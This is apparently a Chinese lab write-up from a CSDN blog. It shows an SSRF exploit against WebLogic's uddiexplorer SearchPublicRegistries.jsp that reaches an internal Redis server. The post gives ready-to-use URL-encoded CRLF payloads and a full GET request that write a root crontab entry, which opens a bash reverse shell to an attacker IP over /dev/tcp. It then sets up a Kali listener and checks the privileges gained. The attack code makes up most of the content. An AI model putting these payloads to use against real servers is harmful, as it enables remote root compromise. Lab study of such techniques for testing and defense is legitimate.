web-logic-ssrf内网渗透

打开浏览页面

![在这里插入图片描述](https://img-blog.csdnimg.cn/fbc818d
268494e2d802db62cf5a6f886.png)

burpsuite截获数据

在这里插入图片描述

redis指令URL编码

set 1 “\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c ‘sh -i >& /dev/tcp/192.168.20.228/4444 0>&1’\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save

在这里插入图片描述

增加换行编码：换行符是“\r\n”，也就是“%0D%0A

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.17%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

poc数据

operator=http://192.168.20.195:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.20.228%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=dd&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

在这里插入图片描述

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.20.195:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.20.228%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1

在这里插入图片描述

向redius服务器置入反弹数据

在这里插入图片描述

kali上开启监听反弹

在这里插入图片描述

运行监听
在这里插入图片描述

在这里插入图片描述

查看系统权限

在这里插入图片描述

相关阅读:
Vue模板语法的缩写是什么？
1、HTML——初识HTML、HTML的定义、HTML5
【网络编程】套接字编程——UDP通信
14. happens-before模型
敞开心扉地说家人们，爬也要爬进互联网大厂
城商行两地三中心存储架构设计实践分享
基于python下django框架实现校园教室图书馆座位预约系统详细设计
整理下最近用canvas遇到的问题吧
2.MySQL 安装
【Linux】《Linux命令行与shell脚本编程大全 (第4版) 》笔记-Chapter7-理解 Linux 文件权限

原文地址：https://blog.csdn.net/qq_40168905/article/details/127678777